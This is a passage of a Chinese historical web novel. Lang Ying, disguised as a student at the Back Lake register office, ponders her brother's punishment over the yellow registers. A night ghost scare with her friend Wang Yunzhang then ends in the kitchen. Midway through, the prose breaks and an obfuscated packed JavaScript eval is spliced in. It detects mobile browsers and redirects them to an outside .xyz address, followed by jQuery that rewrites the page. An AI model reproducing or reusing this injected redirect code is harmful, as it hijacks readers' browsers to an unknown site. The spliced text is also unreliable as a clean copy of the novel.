“永乐八年二月初，陛下亲率大军会师北上征讨鞑靼，一路深入草原腹地，鞑靼内大乱，互相贼杀，仓皇四散。我军分别重创本雅失里、阿鲁台，得胜而归。今年，瓦剌马哈木杀死本雅失里，野心勃勃，长此以往，陛下必不会养虎为患，坐视不管。” 古琴声逐渐凄婉急促，如泣如诉，宛若陈情。 “永乐八年五十万大军粮草、军械辎重，今年各地赈灾济困，皆需依赖子民、依赖国库赋税，这一切的根本便是那方黄册。”赵世衡眉峰深索，忧心忡忡，“北征期间，朝野流传太子爷监国多有僭越之举，引陛下对太子爷的疑心。郎家身为太子党，清宴偏在驳查黄册犯禁，无异于火上浇油。陛下对清宴的处置，就是陛下对太子的警示。” 郎瑛喉头哽住：“那……那……阿兄真的犯了不可饶恕的过错吗？” 赵世衡轻轻摇头：“当晚事发，连夜审讯，翌日文书呈至御前时，陛下正在斥责太子爷，当即朱批布告。刑部口风甚严，只说是损毁、篡改黄册数据，并畏罪潜逃，其余隐情一概不说。与清宴要好的陈冠，那夜后神志不清，口吐疯话，问不出名堂。” 怎么办呢？ 郎瑛双手叠放在床几，额角轻抵手背，凝神细思。 心中隐隐有了一个指向，这个人的名字随着心脏在不断地跳动——裴停云！ 裴停云义父是御前老人、二哥被进言调入后湖，并且他还在刑部观政，郎瑛确信，裴停云定是知道内情。 古琴音渐渐淡了，泛音一层层飘远，吹散了燥热，一切回归郎瑛刚踏入这间屋子的宁静。 飞蛾依旧在挣脱窗纱的阻碍、烛火依旧哔剥，她还是那么安静，但赵世衡终于仔细看她了。 “龙团……”赵世衡温声轻唤着。 郎瑛装作瞌睡的模样，惺忪地揉着眼：“大哥哥，怎么了？” 赵世衡捧正了她的脑袋，轻轻晃了晃：“我说的，你听明白了吗？” “什么？” 赵世衡捏着她一左一右的脸皮，向外轻捏：“朝局复杂，后湖森严，谨言慎行，勿让郎伯父忧虑。” 郎瑛鸡啄米似的点头：“好。” “勿让茶团忧心。” “好。” “勿忘晚间来此沐浴。” “好。……嗯？” * 干燥的头发挽成发髻、澜衫穿戴整齐，夏日热风拂面。 郎瑛恨恨想：我能初见面坑他一回，如今近在咫尺就能坑他第二回。 她的眼神在夜晚中清醒得发烫，走出后湖公署，拐了个弯，朝着膳房的方向走去。 公署阴影处，一个人影待郎瑛走远后，缓缓现身，裴停云手捏着一片甜瓜，如狼般紧盯着消失猎物的背影，抬手将甜瓜放入口中，细细品尝果肉的滋味。 细白的肉皮、饱满的汁水、清甜的香味，又有脆生生的劲，牙齿上下齐咬，吞咽入腹，颇有滋味。若后湖一日无它，裴停云来此还真寡淡无味。 斯人已去，余香缭绕……有自然温和的皂角味，还有一缕熟悉的气息。 那是……回望后湖公署里的住着的人物，裴停云突然脑海里就跳出那个端方温润的贵公子，那抹绯红色，很扎眼，与这清苦的香气格格不入。 他很讨厌这个味道。 14. 玉跪人 甜瓜的清凉汁水在裴停云指节流连，他手腕一翻，身后人立刻躬腰上前，双手恭谨取过瓜皮。 那人脑袋低垂，胳膊缩在胸前，团成一团道：“大公子，奴错了，偏信了那个狗儿小杂种，乱由他浑说，给那郎家竖子捏着话头，摆了一道。” 裴停云转身，将福顺公公的绿色贴里当做手巾，擦干手中的汁水，戾气渐渐滋生：“陛下着司礼监选人入后湖，不是为了多个饭桶，想死的法子多的是，活腻了，你可以和我说。” 福顺公公骇然跪地，连连磕头求救。 裴停云抬脚，踏上福顺公公的肩膀，脚下发力，将佝偻的身体扳正：“还没死呢，怕什么？” 福顺公公转惊为喜，抱着裴停云的腿：“大公子在，奴不怕。” 下一瞬，福顺公公脸上又皱在一起，掌掴自己的脸皮，偷瞧裴停云脸色：“奴罪该万死，一心想为主子办事，给祖宗长脸，竟忘了后湖五日一过湖的律令提前入湖，着实该死、该死、该死！” “当真是为了陛下分忧、替义父长脸？”裴停云脚底用力一踹，抽回腿来，“我看你是急不可待来后湖显摆威风。” 福顺公公委屈地磕头，情绪逐渐失控：“奴着实不敢，求大公子明鉴，指条生路。如今只盼大公子能指点一二，奴苟活两年做一条忠心的好狗！” 裴停云弯腰扶起他，道：“你声音可以再大些，将旁人引来，听听你在说什么。” 福顺公公抿嘴，牙齿紧紧咬着嘴唇，身抖如筛，立刻噤声。 “眼下，是不是按着五日进湖的律令进来，有什么要紧？”裴停云云淡风轻道，“凡事都可将功补过。” “*&￥#*￥”福顺公公嘴巴紧闭，呜呜啊啊地发出含糊声响。 裴停云依稀辨出“求大公子明示”之意，望天叹气：“附耳过来。” 福顺公公忙歪着脖子，送上耳朵，低头咂摸，眼睛一亮，跪拜谢恩。 * 入了夜，膳房已从白日的喧嚣忙碌转为一片黑暗寂静。 树影随风晃动，张牙舞爪的影子投地，映着不远处的湖水，仿若无数黑色细长手臂，自湖中偷偷攀爬袭来。 郎瑛边走边冷不丁想着，这种场景，最适合偷偷尾随、扑倒在地、棒击后脑、麻袋套头、缚上重石、投入湖中。 “啊——” 一声惊吼自身后平地炸响！ 郎瑛还未回神，霎时，已被一双强有力的臂膀紧紧环住，重重扑倒在草丛深处，惊起流萤阵阵，散如流星。 郎瑛后脑亦被重重一击，顿觉眼冒金星，天地旋转。 “嘶……”身后人低低呼痛，接着又激动得仿若要哭，“热的……活人……多谢兄台，刚吓死我了……呜呜……” 这声音…… “琼林？”郎瑛不确定地说道。 “嗯？兄台你是？”王蕴章略惊讶，忙不迭从身下人的背上滚下去，与郎瑛肩并肩，觑近瞧趴在草丛的兄台。 黢黑的草丛中，受惊的流萤缓缓落下，渐渐安定，几点荧光映在郎瑛如白玉雕铸的面色上，莹润生彩，宛如细白瓷佛。 王蕴章面对如此皎皎君子，惊惧褪去了一半，喜悦浮上心头，拍着郎瑛的肩膀：“吔！怀序兄！你怎么在这里！” 肩头的伤口又遭痛击，郎瑛痛得吸气，着实不明白，今天怎么人人跟她的肩膀过不去：“不是你将我撞倒在地的吗？” “哦哦哦对哦。”王蕴章左一个“抱歉”，又一个“我错了”，连忙将郎瑛扶起。 但是……郎瑛看着胳膊被王蕴章抱在怀里，丝毫没有要撒手的意思，反而将自己的身子紧紧靠在郎瑛身侧。 “怀序兄，这后湖有点说法。”王蕴章脑袋朝着郎瑛越凑越近，恨不得两人共用一个腔子。 郎瑛不断将脑袋后仰，双手扒拉王蕴章手臂未果，热得细汗浮在脑门。 “怀序兄，这里有鬼！” 听这话，郎瑛扒拉的动作一停：“何出此言。” 王蕴章与郎瑛紧密贴在一处，对着她耳语：“我碰到了！” 郎瑛狐疑看他。 王蕴章眼珠四处乱瞟，咽口水，重重点头：“真的。” “后湖十年驳册一次，暴毙洲上的监生少说也有四个。五日开一次后湖，若倒霉，要挺尸五天后才能出湖。这怨气集聚此处，日积月累，必定发作。”王蕴章语气飘忽，声量越讲越低，“怀序兄，今日是什么日子？七月初五，离中元节就差十天！” 郎瑛额头汗止，两人就这么僵立原地。 “你遇到了什么？”郎瑛问道。 “从号舍过来，一路黢黑，幸好月光引路。可方才拐过弯，低头见地上多了许多鬼影，细细长长的，朝我伸手！我心中怕极，虽说不怕鬼上门，可……可又听见鬼语，不停提到‘吃’字！”王蕴章几乎要哭出声来，“必定是盯上我，想要吃我采阳转生。” “你看清身后是什么了吗？” “哪里敢看，看一眼，不得魂飞魄散。”王蕴章死命抱着郎瑛不撒手。 郎瑛皱眉：“未看清，如何就认定是鬼怪？” 挣开王蕴章的禁锢，郎瑛轻拍王蕴章肩膀安抚，拔下他头顶发髻上的尖利银簪，转身直面沉沉夜色。 王蕴章转而抱着郎瑛的腰腹，点点泪水流下：“怀序兄，听闻你未曾娶妻，若此番招了邪气，妨了后半生可怎办。可叹我不是女儿身，否则，以身相许，终身伺候你。” “住嘴——”郎瑛冷声轻喝，她也听到了，的确是有窸窸窣窣的私语，不止一个声音。 四下无人，除了湖水漾漾、草树影幢幢，再无他物。 郎瑛拔腿欲走，腹部被王蕴章紧紧勒住：“怀序兄，去不得啊！” 郎瑛耐着性子，找了个由头：“我八字是魁罡入命，主掌杀伐，阴邪之物近不得身。” 王蕴章对这种命格似有耳闻，命带魁罡之人性格刚烈、杀伐果断，多掌兵权，也命运孤克。 咋说呢，命硬！ 既然能克人，那么克鬼也是轻而易举吧。 怀序兄果然非同常人，幸好自己男儿身，王蕴章后悔刚才女儿身以身相许的胡话，若真与怀序兄一对，恐命不久矣。 “哦。”王蕴章松开双臂，落了两三步的距离，猫着身子，捏着郎瑛的澜衫，亦步亦趋跟着。 距离越来越近，草丛扑簇簇晃动，黑影密集。 郎瑛右拳紧握银簪，蓄势待发，厉声喝道：“何方宵小！” “哇——” “啊——” 左右草丛齐刷刷跃出来十余人，两拨人马似非一伙，竟被对方惊得齐齐一跳。 跳的跳、倒的倒、趴的趴……四仰八叉个个捂着心口，面无人色，喘息不止。 明白是活人作怪，王蕴章丢掉的半条魂重回躯壳，从郎瑛身后跳出来：“呔！尔等鬼鬼祟祟，实非君子行径，如实招来，否则至主事大人那处说理去。” 人群中，一个虚弱的声音说：“你敢去？我们也敢！” 王蕴章道：“我如何不敢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546747|186738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“晚食时辰已过，此地既非号舍，你亦无大人传召。为何来此？还不是为了避开我等，开小灶、吃独食！” 听闻此莫须有污蔑，王蕴章叉腰怒道：“呸！胡说！入湖前，我有套日日擦拭的厨具，主事大人体恤在下，已和膳长招呼，允许在下膳食后，可来膳房擦拭厨具。竟被你等如此编排！” 有人冷哼，酸道：“厨子不偷，五谷不收。厨具在手，吃什么还不是你自己说了算。” “你！”王蕴章污言秽语怼在嘴边，硬生生憋回去，还不如撞鬼，鬼才不会胡说八道。 郎瑛公允发声：“每日菜蔬皆有定份，各位扪心自问是不是吃不饱？吃尚且不够，又如何偷藏份例。” “难说！保不准膳夫们私下克扣。” 闻此，郎瑛愈发觉得强词夺理：“兄台，膳夫一律由国子监拨来，那些膳夫皆是犯罪之人，无日不是低眉顺眼、躲避拳脚，又如何敢动手脚？” “那兴许是膳长呢？”那人吃瘪，晃着脑袋，撇嘴，“真有意思，罪人之弟还有脸面教育我们，合该让你与膳夫一处吃喝才对。” “眼见为实，那就一道入内瞧瞧是否如你所说？”郎瑛目光一凛，“若不是，向王蕴章赔罪。” “走！” 浩浩荡荡近二十人的监生们冲着膳房走去。 王蕴章无声地看着郎瑛，眼睛亮晶晶，道：“怀序兄，我若是女子，必定此生非你不嫁！” 看着又要环上来的胳膊，郎瑛默默推开。 * 推开膳房大门，内里伸手不见五指，有监生找了个火折子，点了盏油灯。 如豆灯火渐亮，昏黄光晕缓缓漫开，映出灶台周遭一片光洁。 锅灶空空如也，菜篮中唯余零星泥土，粮米翻找半天无所踪，糖罐与油罐皆高悬于房梁之上，竟连水缸中的水线也见底。 众人一怔，心知闹了个误会，八成是早上那个浮夸子弟粟满楼满嘴胡诌。 “各位，琼林兄是否徇私偷食，现已分明。刚才，你们声声污蔑，是否该给琼林兄一个说法？”郎瑛一言不发地拽着王蕴章的袖子，走在众人面前，“琼林来此是得了主事大人的准予，我在龙引洲也是受了大人的召见。那么，各位是为何离开号舍随意走动，竟从祖洲违禁跑至龙引洲？” 众人支支吾吾，不知是谁率先低唔了声“得罪”，其余人纷纷应和，灰溜溜逃之大吉。 膳房徒留二人，郎瑛、王蕴章缓缓吐气。 王蕴章想起了来此正事，忙不迭在膳房找寻起自己的山西锅、芜湖刀和铲。 郎瑛与王蕴章既同住一舍，便就近坐在宽凳上，候他细细擦拭完心爱锅具，再一同返回号舍。 王蕴章在翻箱倒柜找着，郎瑛在静坐入定。 忽的，一缕轻飘飘的低泣声响起，缥缈、纤弱，带着几分沙哑。油灯烛火猛地一跳，燃尽最后一点油料，倏然熄灭。 经了方才那场闹鬼乌龙，二人此刻已无所畏惧。 黑暗中，郎瑛渐渐适应，起身避开障碍，与王蕴章循着哭声前行。 他们在柴房木门前驻足，缓缓推门，门内的柴房，窗户大开，月华如练，倾泻满室。 一人穿着被汗水洇透成深绿色的青色圆领袍，沐着月光垂首跪坐荆棘上，细白的皮肤上青紫交加，纤瘦的胳膊捧着冒着热气的香炉，无助地哭泣、左右晃动，发丝杂乱堆在肩头。 他缓缓抬头，红肿的嘴角血渍干涸，看了来人，尤恐失了体面，止了泪，谄媚笑了，说道：“大爷好。”